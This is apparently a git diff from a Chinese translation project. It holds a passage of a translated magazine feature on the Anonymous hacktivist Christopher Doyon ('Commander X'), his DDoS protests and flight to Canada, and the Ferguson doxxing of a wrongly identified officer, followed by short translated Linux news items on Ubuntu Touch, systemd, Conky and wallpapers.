CommanderX:Toad 你这个混蛋!
+ +
Katanon:唉...
+ +

Doyon 越来越大胆。在佛罗里达州当局逮捕了支持流浪者的激进分子后,他就攻击 了奥兰多商务部商会网站。他使用个人笔记本电脑通过公用无线网络实施了攻击,并且没有花费太多精力来隐藏自己的网络行踪。“这种做法很勇敢,但也很愚蠢,”一位自称 Kalli 的 PLF 的资深成员告诉我。“他看起来并不在乎是否会被抓。他完全是一名自杀式黑客。”

+ +

两个月后,Doyon 参与了针对旧金山湾区快速交通系统(Bay Area Rapid Transit)的 DDoS 攻击,以此抗议一名 BART 的警官杀害一名叫做 Charles Hill 的流浪者的事件。随后 Doyon 现身“CBS 晚间新闻”为这次行动辩护,当然,他处理了自己的声音,用印花大手帕盖住了脸。他把 DDoS 攻击比作为公民的抗议行为。“与占用 Woolworth 午餐柜台的座位相比,这真的没什么不同,真的,”他说道。CBS 的主播 Bob Schieffer 笑称:“就我所见,它并不完全是一项民权运动。”

+ +

2011 年 9 月 22 日,在加利福尼亚州的一家名为 Mountain View 的咖啡店里,Doyon 被捕,同时面临着“使用互联网非法破坏受保护的计算机”的罪名指控。他被拘留了一个星期的时间,接着在签署协议之后获得假释。两天后,他不顾律师的反对,宣布将在圣克鲁斯郡法院召开会议。他梳起了马尾辫,戴着一副墨镜、一顶黑色海盗帽,同时还在脖子上围了一条五彩手帕。

+ +

Doyon 通过非常夸大的方式揭露了自己的身份。“我就是 Commander X,”他告诉蜂拥的记者。他举起了拳头。“作为‘匿名者’组织的一员,作为一名核心成员,我感到非常的骄傲。”他在接受一名记者的采访时说,“想要成为一名顶尖黑客的话,你只需要准备一台电脑以及一副墨镜。任何一台电脑都行。”

+ +

Kalli 非常担心 Doyon 会不小心泄露组织机密或者其他匿名者的信息。“这是所有环节中最薄弱的地方,如果这里出问题了,那么组织就完了,”他告诉我。曾在“和平阵营行动”中给予 Doyon 大力帮助的匿名者 Josh Covelli 告诉我,当他在网上看见 Doyon 的新闻发布会视频的时候,他感觉瞬间“下巴掉地上了”。“他的所作所为变得越来越不可捉摸,” Covelli 评价道。

+ +

三个月后,Doyon 的指定律师 Jay Leiderman 出席了圣荷西联邦法庭的辩护。Leiderman 已经好几个星期没有得到 Doyon 的消息了。“我需要得知被告无法出席的具体原因,”法官说。Leiderman 无法回答。Doyon 再次缺席了两星期后的另一场听证会。检控方表示:“很明显,看来被告已经逃跑了。”

+ +

7

+ +

“Xport 行动”是“匿名者”组织进行的所有同类行动中的第一个行动。这次行动的目标是协助如今已经背负两项罪名的通缉犯 Doyon 潜逃出国。负责调度的人是 Kalli 以及另一位曾在八十年代剑桥的迷幻药派对上和 Doyon 见过面的匿名者老兵。这位老兵是一位已经退休的软件主管,在组织内部威望很高。

+ +

Doyon 的目的地是这位软件主管家,位于加拿大的偏远乡村。2011 年 12 月,他搭便车前往旧金山,并辗转来到了市区组织大本营。他找到了他的指定联系人,后者带领他到达了奥克兰的一家披萨店。凌晨 2 点,Doyon 通过披萨店的无线网络,接收了一条加密聊天消息。

+ +

“你现在靠近窗户吗?”那条消息问道。

+ +

“是的,” Doyon 回复道。

+ +

“往大街对面看。看见一个绿色的邮箱了吗?十五分钟后,你去站到那个邮箱旁边,把你的背包取下来,然后把你的面具放在上面。”

+ +

一连几个星期的时间,Doyon 穿梭于海湾地区的安全屋之间,按照加密聊天那头的指示不断行动。最后,他搭上了前往西雅图的长途公交车,软件主管的一个朋友在那里接待了他。这个朋友是一名非常富有的退休人员,他花费了几小时的时间通过谷歌地球来帮助 Doyon 规划前往加拿大的路线。他们共同前往了一家野外用品供应商店,这位朋友为 Doyon 购置了价值 1500 美元的商品,包括登山鞋以及一个全新的背包。接着他又开车载着 Doyon 北上,两小时后到达距离国界只有几百英里的偏僻地区。随后 Doyon 见到了 Amber Lyon。

+ +

几个月前,广播新闻记者 Lyon 曾在 CNN 的关于“匿名者”组织的节目里采访过 Doyon。Doyon 很欣赏她的报道,他们一直保持着联络。Lyon 要求加入 Doyon 的逃亡行程,为一部可能会发行的纪录片拍摄素材。软件主管认为这样太过冒险,但 Doyon 还是接受了她的请求。“我觉得他是想让自己出名,” Lyon 告诉我。四天的时间里,她用影像记录下了 Doyon 徒步北上,在林间露宿的行程。“那一切看起来不太像是仔细规划过的,” Lyon 回忆说。“他实在是无家可归了,所以他才会想要逃到国外去。”

+ +
+ +
“这里是我们存放各种情感的仓库。如果你产生了某种情感,把它带到这里然后锁起来。”
+ +

2012 年 2 月 11 日,Pastebin 上出现了一条消息。“PLF 很高兴的宣布‘ Commander X’,也就是 Christopher Mark Doyon,已经离开了美国的司法管辖区,抵达了加拿大一个比较安全的地方,”上面写着,“PLF 呼吁美国政府,希望政府能够醒悟过来并停止无谓的骚扰与监视行为——不要仅仅逮捕‘匿名者’组织的成员,对所有的激进组织应该一视同仁。”

+ +

8

+ +Doyon 和软件主管在加拿大的小木屋里呆了几天。在一次同 Barrett Brown 的聊天中,Doyon 难掩内心的喜悦之情。 + +
BarrettBrown:你现在足够多安全的藏身之处等等吧?
+ +
CommanderX:是的,我现在很安全,现在加拿大既不缺钱也不缺藏身的地方。
+ +
CommanderX:Amber Lyon 想要你的一张照片。
+ +
CommanderX:去你【哔~】的怪人,Barrett,相信你会喜欢我的回复。我一直爱你,永远爱你。
+ +
CommanderX::-)
+ +
CommanderX:我告诉她你是一个英雄。
+ +
BarrettBrown:你才是真正的英雄...
+ +
BarrettBrown:很高兴你现在安全了
+ +
BarrettBrown:如果你还需要什么,告诉我一声就可以了
+ +
CommanderX:我会的,如果这种方式的确很凑效的话,可以让其他被通缉的人也这样逃出来....
+ +
BarrettBrown:当然,估计我们不久后也得这样了
+ +

在 Doyon 出逃十天后,《华尔街日报》上刊登了关于不久后升职为美国国家安全局及网络指挥部主任的 Keith Alexander 的报道,他在白宫以及其他场合举行的秘密会晤,表达了对“匿名者”组织的高度关注。Alexander 发出警告,两年内,该组织必将会是国家电网改造的大患。参谋长联席会议的主席 General Martin Dempsey 告诉记者,这群人是国家的敌人。“他们有能力把这些使用恶意软件造成破坏的技术扩散到其他的边缘组织去,”随后又补充道,“我们必须防范这种情况发生。”

+ +

3 月 8 日,国会议员们在国会大厦附近的一个敏感信息隔离设施附近举行了关于网络安全的会议。包括 Alexander、Dempsey、美国联邦调查局局长 Robert Mueller,以及美国国土安全部部长 Janet Napolitano 在内的多名美国安全方面的高级官员出席了这次会议。会议上,通过计算机向与会者模拟了东部沿海地区电力设施可能会遭受到的网络攻击时的情境。“匿名者”组织目前应该还不具备发动此种规模攻击的能力,但安全方面的官员担心他们会联合其他更加危险的组织来共同发动攻击。“在我们着手于不断增加的网络风险事故时,政府仍在就具体的处理细节进行不断协商讨论,” Napolitano 告诉我。当谈及潜在的网络安全隐患时,她补充道,“我们通常会把‘匿名者’组织的行动当做 A 级威胁来应对。”

+ +

“匿名者”也许是当今世界上最强大的无政府主义黑客组织。即使如此,它却从未表现出过任何的会对公共基础设施造成破坏的迹象或意愿。一些网络安全专家称,那些关于“匿名者”组织的谣传太过危言耸听。“在奥兰多发布战前宣言和实际发动 Stuxnet 蠕虫病毒攻击之间是有很大的差距的,” Internet 研究与战略中心的一位职员 James Andrew Lewis 告诉我,这和 2007 年美国与以色列对伊朗原子能网站发动的黑客袭击有关。哈佛大学法学院的教授 Yochai Benkler 告诉我,“我们所看见的只是以主要防御为理由而进行的开销,否则,将很难自圆其说。”

+ +

Keith Alexander 最近刚从政府部门退休,他拒绝就此事发表评论,因为他并不能代表国家安全局、联邦调查局、中央情报局以及国土安全部。尽管匿名者们从未真正盯上过政府部门的计算机网络,但他们对于那些激怒他们的人有着强烈的报复心理。前国土安全部国家网络安全部门负责人 Andy Purdy 告诉我他们“害怕被报复,”无论机构还是个人,都不同意政府公然反对“匿名者”组织。“每个人都容易成为被攻击对象,”他说。

+ +

9

+ +

2012 年 3 月 6 日,Hector Xavier Monsegur,昵称为 Sabu 的 LulzSec 骨干成员,被发现是 FBI 派来的卧底。为了换取减刑,Monsegur 花费了数月的时间卧底,协助搜集其他 LulzSec 成员的罪证。同一天,五位匿名者领导被捕,同时面临着包括“计算机某犯罪”在内的多项罪名指控。联邦调查局的一名官员在接受福克斯新闻记者采访时说道,“这对那个组织是一个毁灭性的打击。我们的行动如同砍掉了 LulzSec 组织的头。”接下来的十个月里, Barrett Brown 收到了 17 项联邦罪名的指控,其中的大部分后来被撤销了。(他将在十月被宣判最终结果。)

+ +

Doyon 感到很烦躁,但他还是继续扮演着一名黑客——以此吸引关注。他在多伦多上映的纪录片上以戴着面具的匿名者形象出现。在接受《National Post》的采访时,他向记者大肆吹嘘未经证实的消息,“我们已经入侵了美国政府的所有机密数据库。现在的问题是我们该何时泄露这些机密数据,而不是我们是否会泄露。”

+ +

2013 年 1 月,在另一名匿名者介入俄亥俄州斯托本维尔未成年少女强奸案,发起抗议行动之后,Doyon 重新启用了他两年前创办的网站 LocalLeaks,作为那起强奸事件的信息汇总处理中心。如同许多其他“匿名者”组织的所作所为一样,LocalLeaks 网站非常具有影响力,但却也不承担任何责任。LocalLeaks 网站是第一家公布 12 分钟斯托本维尔高中毕业生猥亵视频的网站,这激起了众多当事人的愤怒。LocalLeaks 网站上同时披露了几份未被法庭收录的关于案件的材料,并且由此不小心透漏出了案件受害人的名字。Doyon向我承认他公开这些未经证实的信息的策略是存在争议的,但他同时回忆起自己当时的想法,“我们可以选择销毁这些斯托本维尔案件的材料...也可以选择公开所有我们搜集的信息,基本上,给公众以提醒,不过,前提是你们得相信我们。”

+ +

2013 年 3 月,一个名为 Rustle League 的组织入侵了 Doyon 的 Twitter 账户,该组织此前经常挑衅“匿名者”组织。Rustle League 的领导者之一 Shm00p 告诉我,“我们的本意并不是伤害那些家伙,只不过,哦,那些家伙说的话你就当是在放屁好了——我会这么做只是因为我感到很好笑。” Rustle League 组织使用 Doyon 的账户发布了含有如 www.jewsdid911.org 链接这样的,种族主义和反犹太主义的信息。

+ +

2013 年 8 月 27 日,Doyon 发布了一则退出“匿名者”组织的声明。“我的一生都用在了追求正义和自由上,”他写道,“也许‘ Commander X’是无敌的,但我在这种高节奏的全球网络斗争中已经感到很累了,感觉自己好像病了。”各界对此反应不一,有同情的(“你是该休息了”),也有嘲讽的(“可怜的疯狂小老头。也许他现在有时间洗澡了”)。 Covelli 告诉我,“‘匿名者’的身份对他产生了较大的影响,他已经不能再应付了。”

+ + + +
1998 年 8 月 17 日 “我们还有‘巴黎’吗?仔细想想,我等会儿去检查一下。”
+ +

10

+ +

2013 年 11 月 5 日举行了第一次“百万面具游行”活动。在全世界四百五十个城市里,发起了数千人的支持“匿名者”组织的游行。伦敦的一名抗议者摘下了盖伊·福克斯面具后,露出了演员罗素·布兰德的脸。这种的迹象表明,“匿名者”组织已经深入到了流行文化中。

+ +

我参加了华盛顿的集会,Doyon 则呆在了加拿大观看现场直播。通过移动电话,我和 Doyon 不断交换着电子邮件。“只能坐在这里看直播而不能亲自去现场真的很令人沮丧——尤其是当这里面包含有你努力的结果的时候,”他在邮件里写道。“不过至少一切都已有所改变。”

+ +

我们约定了一次面谈。Doyon 坚持让我通过加密聊天把面谈的详细情况提前告诉他。我坐了几个小时的飞机,租车来到了加拿大的一个偏远小镇,并且禁用了我的电话。

+ +

最后,我在一个狭小安静的住宅区公寓里见到了 Doyon。他穿了一件绿色的军人夹克衫以及印有“匿名者”组织 logo 的 T 恤衫:一个脸被问号所替代的黑衣人形象。公寓里基本上没有什么家具,充满了一股烟味。他谈论起了美国政治(“我基本没怎么在众多的选举中投票——它们不过是暗箱操作的游戏罢了”),好战的伊斯兰教(“我相信,尼日利亚政府的人不过是相互勾结,以创建一个名为‘博科圣地’的基地组织的下属机构罢了”),以及他对“匿名者”组织的小小看法(“那些自称为怪人的人是真的是烂透了,其实是邪恶的人”)。

+ +

Doyon 剃去了他的胡须,但他却显得更加憔悴了。他说那是因为他病了的原因,他几乎很少出去。很小的写字台上有两台笔记本电脑、一摞关于佛教的书,还有一个堆满烟灰的烟灰缸。另一面裸露的泛黄墙壁上挂着盖伊·福克斯面具。他告诉我,“所谓‘Commander X’不过是一个处于极度痛苦中的小老头罢了。”

+ +

在刚过去的圣诞节里,匿名者的新网站 AnonInsiders 的创建者拜访了 Doyon,并给他带来了馅饼和香烟。Doyon 询问来访的朋友是否可以接替自己成为 PLF 的最高指挥官,同时希望能够递交出自己手里的“王国钥匙”——手里的所有密码,以及几份关于“匿名者”组织的机密文件。这位朋友委婉的拒绝了。“我有自己的生活,”他告诉了我拒绝的理由。

+ +

11

+ +

2014 年 8 月 9 日,当地时间下午 5 时 09 分,来自密苏里州圣路易斯郊区德尔伍德的一位说唱歌手同时也是激进分子的 Kareem (Tef Poe) Jackson,在 Twitter 上谈起了邻近城镇的一系列令人担忧的举措。“基本可以断定弗格森已经实施了戒严,任何人都无法出入,”他在 Twitter 上写道。“国内外的朋友们请帮助我们!!!”五个小时前,弗格森,一位十八岁的手无寸铁的非裔美国人 Michael Brown,被一位白人警察射杀。射杀警察声称自己这么做的原因是 Brown 意图伸手抢夺自己的枪支。而事发当时和 Brown 在一起的朋友 Dorian Johnson 却说,Brown 唯一做得不对的地方在于他当时拒绝离开街道中间。

+ +

不到两小时,Jackson 就收到了一位名为 CommanderXanon 的 Twitter 用户的回复。“你完全可以相信我们,”回复信息里写道。“你是否可以给我们详细描述一下现场情况,那样会对我们很有帮助。”近几周的时间里,仍然呆在加拿大的 Doyon 复出了。六月,他在还有两个月满 50 岁的时候,成功戒烟(“#戒瘾成功 #电子香烟功不可没 #老了,”他在戒烟成功后在 Twitter 上写道)。七月,在加沙地带爆发武装对抗之后,Doyon 发表 Twiter 支持“匿名者”组织的“拯救加沙行动”,并发动了一系列针对以色列网站的 DDoS 攻击。Doyon 认为弗格森枪击事件更加令人关注。抛开他本人的个性,他有能力在事件发展到引人注目之前,就迅速注意该事件。

+ +

“正在网上搜索关于那名警察以及当地政府的信息,” Doyon 发 Twitter 道。不到十分钟,他就为此专门在 IRC 聊天室里创建了一个频道。“‘匿名者’组织‘弗格森’行动正式启动,”他又发了一条 Twitter。但只有两个人转推了此消息。

+ +

次日早晨,Doyon 发布了一条链接,链接指向的是一个初具雏形的网站,网站首页有一条致弗格森市民的信息——“你们并不孤单,我们将尽一切努力支持你们”——以及致当地警察的警告:“如果你们对弗格森的抗议者们滥用职权、骚扰,或者伤害了他们,我们绝对会让你们所有政府部门的网站瘫痪。这不是威胁,这是承诺。”同时 Doyon 呼吁有 130 万粉丝的“匿名者”组织的 Twitter 账号 YourAnonNews 给与支持。“请支持‘弗格森’行动”,他发送了消息。一分钟后,YourAnonNews 回复表示同意。当天,包含话题 #OpFerguson 的 Twitter 被转发了超过六千次。

+ +

这个事件迅速成为头条新闻,同时匿名者们在弗格森周围进行了大集会。与“阿拉伯之春行动”类似,“匿名者”组织向抗议者们发送了电子关怀包,包括抗暴指导(“把瓦斯弹捡起来回丢给警察”)与可打印的盖伊·福克斯面具。Jackson 和其他示威者在弗格森进行示威游行时,警察企图通过橡皮子弹和催泪瓦斯来驱散他们。“当时的情景真像是布鲁斯·威利斯的电影里的情节,” Jackson 后来告诉我。“不过巴拉克·奥巴马应该并不会支持‘匿名者’组织传授给我们的这些知识,”他说道。“知道有人在你的背后支持你,真是感觉欣慰。”

+ +

有个网址是 www.opferguson.com 的网站,后来发现不过是一个骗局——一个用来收集访问者 ip 地址的陷阱,随后这些地址会被移交给执法机构。有些人怀疑 Commander X 是政府的线人。在 IRC 聊天室 #OpFerguson 频道,一个名叫 Sherlock 写道,“现在频道里每个人说的已经让我害怕去点击任何陌生的链接了。除非是一个我非常熟悉的网址,否则我绝对不会去点击。”

+ +

弗格森的抗议者要求当局公布射杀 Brown 的警察的名字。几天后,匿名者们附和了抗议者们的请求。有人在 Twitter 上写道,“弗格森警察局最好公布肇事警察的名字,否则‘匿名者’组织将会替他们公布。”8 月 12 的新闻发布会上,圣路易斯警察局的局长 Jon Belmar 拒绝了这个请求。“我们不会这样做,除非他们被某个罪名所指控,”他说道。

+ +

作为报复,一名黑客使用名为 TheAnonMessage 的 Twitter 账户公布了一条链接,该链接指向一段来自警察的无线电设备所记录的音频文件,文件记录时间是 Brown 被枪杀的两小时左右。TheAnonMessage 同时也把矛头指向了 Belmar,在 Twitter 上公布了这位警察局长的家庭住址、电话号码以及他的家庭照片——一张是他的儿子在长椅上睡觉,另一张则是 Belmar 和他的妻子的合影。“不错的照片,Jon,” TheAnonMessage 在 Twitter 上写道。“你的妻子在她这个年龄算是一个美人了。你已经爱她爱得不耐烦了吗?”一个小时后,TheAnonMessage 又以 Belmar 的女儿为把柄进行了恐吓。

+ +

Richard Stallman,来自 MIT 的初代黑客,告诉我虽然他在很多地方赞同“匿名者”组织的行为,但他认为这些泄露私人信息的攻击行为是要受到谴责的。即使是组织内部,TheAnonMessage 的行为也受到了谴责。“为何要泄露无辜的人的信息到网上?”一位匿名者通过 IRC 发问,并且表示威胁 Belmar 的家人实在是“相当愚蠢的行为”。但是 TheAnonMessage 和其他的一些匿名者仍然进行着不断搜寻,并企图在将来再次进行泄露信息的攻击。在互联网上可以得到所有弗格森警察局警员的名字,匿名者们不断地搜索着信息,企图找出具体是哪一个警察找出杀害了 Brown。

+ +
+ +
1999 年 4 月 12 日 “我应该把镜头对向谁?”
+ +

8 月 14 日清晨,几位匿名者基于 Facebook 上的照片还有其他的证据,确定了射杀 Brown 的凶手是一位名叫 Bryan Willman 的 32 岁男子。根据一份 IRC 聊天记录,一位匿名者贴出了 Willman 的肿胀面孔的照片;另一位匿名者提醒道,“凶手声称自己的脸没有被任何人看到。”另一位昵称为 Anonymous|11057 的匿名者承认他对 Willman 的怀疑确实是“跳跃性的可能错误的逻辑过程推导出来的。”不过他还是写道,“我只是无法动摇自己的想法。虽然我没有任何证据,但我非常非常地确信就是他。”

+ +

TheAnonMessage 看起来被这次对话逗乐了,写道,“#愿逝者安息,凶手是 BryanWillman。”另一位匿名者发出了强烈警告。“请务必确认,” Anonymous|2252 写道。“这不仅仅关乎到一个人的性命,我们可以不负责任地向公众公布我们的结果,但却很可能有无辜的人会因此受到不应受到的对待。”

+ +

争论超过了一个小时。一些匿名者指出没有证据表明 Willman 曾经在弗格森警察局任过职。

+ +
Anonymous|3549:@gs 我们依旧没有证据能够证明 Bryan 曾在警局呆过
+ +
Intangir:现在的形势已经够紧张的了,一旦我们把这个消息公布出去,可能就会有人因此去杀了他
+ +
Anonymous|11057:唯一的证明方法是犯罪现场目击者报告。否则我们的结果只是一个谣言
+ +
Anonymous|11057:最快的排除嫌疑的方法是称他为嫌疑犯...我们都害怕犯下不公正的错误,但这种方法恰好可以避免这些...
+ +

大部分匿名者都反对在网上泄露他人信息。但是早晨七点左右匿名者们进行了一次投票。聊天记录显示,当时聊天室里有 80 人左右,只有不到十人参与了投票表决。因此他们决定在互联网上公布 Willman 的私人信息。

+ +
Anonymous|2252:还在 Twitter 上公布?
+ +
anondepp:lol
+ +
Anonymous|2252:用 @theanonmessage 公布?
+ +
TheAnonMessage:当然
+ +
TheAnonMessage:去发吧
+ +
anondepp:搞定了
+ +
Anonymous|2252:我去
+ +
TheAnonMessage:上帝保佑...
+ +
Anonymous|3549:...请拯救我们的灵魂
+ +
anondepp:lol
+ +

早晨 9 时 45 分,圣路易斯警察局对 TheAnonMessage 进行了答复。“Bryan Willman 从来没有在 警察局或者圣路易斯警察局任过职,” 他们在 Twitter 上写道。“请不要再公布这位无辜市民的信息了。”(随后 FBI 对弗格森警察的电脑遭黑客入侵的事情展开了调查。)Twitter 管理员迅速封禁了 TheAnonMessage 的账户,但 Willman 的名字和家庭住址仍然被广泛传开。

+ +

实际上,Willman 是弗格森西郊圣安区的警察外勤负责人。当圣路易斯警察局的情报处打电话告诉 Willman,他已经被“确认”为凶手时,他告诉我,“我以为不过是个奇怪的笑话。”几小时后,他的社交账号上就收到了成百上千条死亡恐吓。他在警察的保护下,独自一人在家里呆了将近一个星期。“我只希望这一切都尽快过去,”他告诉我他的感受。他认为“匿名者”组织已经不可挽回地损害了他的名誉。“我不知道他们怎么会以为自己可以被再次信任的,”他说。

+ +

“我们并不完美,” OpFerguson 在 Twitter 上说道。“‘匿名者’组织确实犯错了,过去的几天我们制造一些混乱。为此,我们道歉。”尽管 Doyon 并不应该为这次错误的信息泄露攻击负责,但其他的匿名者却因为他发起了一次无法控制的行动,而归咎他。YourAnonNews 在 Pastebin 上发表了一则消息,上面写道,“你们也许注意到了组织不同的 Twitter 账户发表的话题 #Ferguson 和 #OpFerguson,这两个话题下的 Twitter 与信息是相互矛盾的。为什么会在这些关键话题上出现分歧,部分原因是因为 CommanderX 是一个‘想让自己出名的疯子/想让公众认识自己的疯子’——这种人喜欢,或者至少不回避媒体的宣传——并且显而易见的,组织内大部分成员并不喜欢这样。”

+ +

在个人 Twitter 上,Doyon 否认了所有关于“弗格森行动”的职责,他写道,“我讨厌这样。我不希望这样的情况发生,我也不希望和我认为是朋友的人战斗。”沉寂了几天后,他又再度获吹响了战斗的号角。他最近在 Twitter 上写道,“你们称他们是暴民,我们却称他们是压迫下的反抗之声”以及“解放西藏”。

+ +

Doyon 仍然处于藏匿状态。甚至连他的律师 Jay Leiderman 也不知道他在哪里。Leiderman 表示,除了在圣克鲁斯受到的指控,Doyon 很有可能因为攻击了 PayPal 和奥兰多而面临新的指控。一旦他被捕,所有的刑期加起来,他的余生就要在监狱里度过了。借鉴 Edward Snowden 的先例,他希望申请去俄罗斯避难。我们谈话时,他用一支点燃的香烟在他的公寓里比划着。“这里比【哔~】的牢房强多了吧?我绝对不会出去,”他愤愤道。“我不会再联系我的家人了....这是相当高的代价,但我必须这么做,我会尽我的努力让所有人活得自由、明白。”

+ + + +

via: http://www.newyorker.com/magazine/2014/09/08/masked-avengers

+ +

作者:David Kushner

+

译者:SteveArcher

+

校对:Caroline

+ +

本文由 LCTT 原创翻译,Linux中国荣誉推出

diff --git a/published/201409/20140905 Ubuntu Touch Now Has a Torrent Client in the Ubuntu Store.md b/published/201409/20140905 Ubuntu Touch Now Has a Torrent Client in the Ubuntu Store.md new file mode 100644 index 0000000000..7c845fbb91 --- /dev/null +++ b/published/201409/20140905 Ubuntu Touch Now Has a Torrent Client in the Ubuntu Store.md @@ -0,0 +1,26 @@ +Ubuntu商城有了一款 Ubuntu Touch 的 BT 客户端了 +================================================================================ +![DowNow](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Now-Has-a-Torrent-Clinent-in-the-Ubuntu-Store-457538-2.jpg) + +**Ubuntu触屏平台已经拥有许多有趣应用程序,甚至看起来很多开发者已经开始实现许多超乎期望的软件,像BT客户端就是个很好的例子。** + +Ubuntu触屏设备的应用商店在过去几个月一直平稳增长并增添了许多有趣的应用程序。其中大多数都已经满足操作系统的基本需求,但也有不少远远超出普通用户的需求。 + +你会发现在大多数手机中BT客户端并不是必备的东西。Android和Windows手机已经已经有这类的应用程序,看起来Ubuntu也将是支持的平台之一。Ubuntu开发者[Alan Pope][1]公布了一张正在为Ubuntu平台开发的应用程序的截图,该程序命名为DowNow。 + +这是一个相对较新的应用程序,而且仍然在开发中,你可以在Launchpad点击DowNow 0.3安装包,如果你想要获得更多详情,你也可以从Ubuntu软件中心下载。 + +目前,只有Nexus4和Nexus7设备支持,如果你想要在更多手机上尝试Ubuntu,也许还要等待几个月。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-Touch-Now-Has-a-Torrent-Clinent-in-the-Ubuntu-Store-457538.shtml + +作者:[Silviu Stahie][a] +译者:[disylee](https://github.com/disylee) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:https://plus.google.com/u/0/+AlanPope/posts/Ej3vKVxBum8 \ No newline at end of file diff --git a/published/201409/20140910 Colourful systemd vs sysVinit Linux Cheatsheet.md b/published/201409/20140910 Colourful systemd vs sysVinit Linux Cheatsheet.md new file mode 100644 index 0000000000..329fd69e8d --- /dev/null +++ b/published/201409/20140910 Colourful systemd vs sysVinit Linux Cheatsheet.md @@ -0,0 +1,38 @@ +systemd 与 sysVinit 彩版对照表 +================================================================================ + +**systemd** 是一种新型init系统「译者注:每个操作系统都有一个启动程序,而Linux init是Linux系统操作中不可缺少的程序之一。所谓的init进程,它是一个由内核启动的用户级进程。内核自行启动(已经被载入内存,开始运行,并已初始化所有的设备驱动程序和数据结构等)之后,就通过启动一个用户级程序init的方式,完成引导进程。所以init始终是第一个进程(其进程编号始终为1)」,最早在Fedora中使用「译者注:真的吗?不是Arch?」,经过调整适应了其它许多发行版,例如RedHat、Suse和CentOS。 + +历史上,我们大部分人用过传统的SysV init 初始化脚本,它通常情况下在/etc/rc.d/init.d/文件夹下。这些脚本调用守护进程二进制代码,在后台fork一个进程。 + +尽管shell脚本非常的灵活,但是很难实现像superviseing(监管)进程和并行执行命令这样的任务。 + +通过对systemd的新式守护进程的介绍,我们发现systemd可以在runtime(运行时)更加简单的监管和控制守护进程,并且简化了监控的实现方式(implementation)。 + +**systemctl**命令是systemd团队一个非常好的首创。 + +这个命令能够显示更多的详细错误信息和包括启动错误在内的服务运行时错误。systemd引入了一个新术语:**cgroups**(控制组),它基本上是可被分层次安排的进程任务组。「译者注:这里简单介绍一下cgroup(control group)称为Containers,Containers着眼于资源的分配,利用configfs作配置。它有两个重要概念:第一是subsystem,内核可以给进程提供的服务/资源;第二是container,一个进程组,成员共享同样的一个或多个子系统分配限制。Containers是分层次的,一个container可以hold多个container。它的可取之处是创建了一个资源分配的框架,其它开发者可以利用这个框架去开发自己的资源分配patch,比如磁盘设备。」 + +如果仅仅通过原来的初始化系统,决定哪个进程是做什么的、属于哪个用户的变得越来越困难。 + +但是通过systemd,当一个进程派生其它进程时,这些子进程会被自动变成父进程控制组的成员,这样一来就可以避免继承的混乱。 + + +![](http://images.linoxide.com/systemd-vs-sysVinit-cheatsheet.jpg) + +有许多新的运行[在 rhel / centos 7.0 上的 systemd 命令][1]可以替代 sysvinit 的对应命令。你也可以下载 [本文的 PDF 版本][2]。 + + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/systemd-vs-sysvinit-cheatsheet/ + +作者:[Bobbin Zachariah][a] +译者:[szrlee](https://github.com/szrlee) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bobbin/ +[1]:http://linoxide.com/linux-command/linux-systemd-commands/ +[2]:http://images.linoxide.com/systemd-vs-sysVinit-cheatsheet.pdf diff --git a/published/201409/20140910 Jelly Conky Adds Simple, Stylish Stats To Your Linux Desktop.md b/published/201409/20140910 Jelly Conky Adds Simple, Stylish Stats To Your Linux Desktop.md new file mode 100644 index 0000000000..e4b0814c2b --- /dev/null +++ b/published/201409/20140910 Jelly Conky Adds Simple, Stylish Stats To Your Linux Desktop.md @@ -0,0 +1,37 @@ +Jelly Conky为你的Linux桌面带来简约、时尚的状态信息 +================================================================================ +**我把Conky当成壁纸一样使用:我会找出一个我喜欢的样式,下一周当我厌烦了想要一点小改变时我就更换另外一个样式。** + +不断更换样式的部分原因是由于日益增多的样式目录。我最近最喜欢的样式是Jelly Conky。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/jelly-conky.png) + +Jelly Conky遵循了许多我们推荐的Conky风格采用的最小设计原则。它并不想成为一个大杂烩。它不会被那些喜欢一眼就能看到他们硬盘温度和IP地址的人所青睐。 + +它配备了三种不同的模式,它们都可以添加个性的或者静态背景图像: + +- 时钟 +- 时钟加日期 +- 时钟加日期和天气 + +一些人不理解为什么要在桌面上拥有重复的时钟。这是很好理解的。对于我而言,这不仅仅是功能(虽然,个人而言,Conky的时钟比挤在上部面板上那渺小的数字要更容易看清)。 + +我想如果你的Android主屏幕有一个时间小部件的话,你不会介意在你的桌面上也有这么一个的,对吧? + +你可以从下述链接下载Jelly Conky,zip 包里面有一个说明如何安装的 readme 文件。如果希望看到完整的教程,可以[参考我们的前一篇文章][3]。 +- [从Deviant Art上下载 Jelly Conky][2] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/09/jelly-conky-for-linux-desktop + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2014/07/conky-circle-theme-nod-lg-quick-cover +[2]:http://zagortenay333.deviantart.com/art/Jelly-Conky-442559003 +[3]:http://www.omgubuntu.co.uk/2014/07/conky-circle-theme-nod-lg-quick-cover \ No newline at end of file diff --git a/published/201409/20140910 Meet the 12 Ubuntu 14.10 Wallpaper Contest Winners (So Far).md b/published/201409/20140910 Meet the 12 Ubuntu 14.10 Wallpaper Contest Winners (So Far).md new file mode 100644 index 0000000000..2c2115d5c1 --- /dev/null +++ b/published/201409/20140910 Meet the 12 Ubuntu 14.10 Wallpaper Contest Winners (So Far).md @@ -0,0 +1,79 @@ +12张Ubuntu 14.10壁纸竞赛(目前为止的)获奖壁纸 +================================================================================ +让我们欣赏一组你在未来几个月会看到一大堆的图片吧。是的,在[Ubuntu 14.10壁纸竞赛获奖者壁纸][1]已经公布了。 + +嗯,可以说是宣布吧。到目前为止12张背景图片已经正式被应用在Ubuntu 14.10版本中了。 + 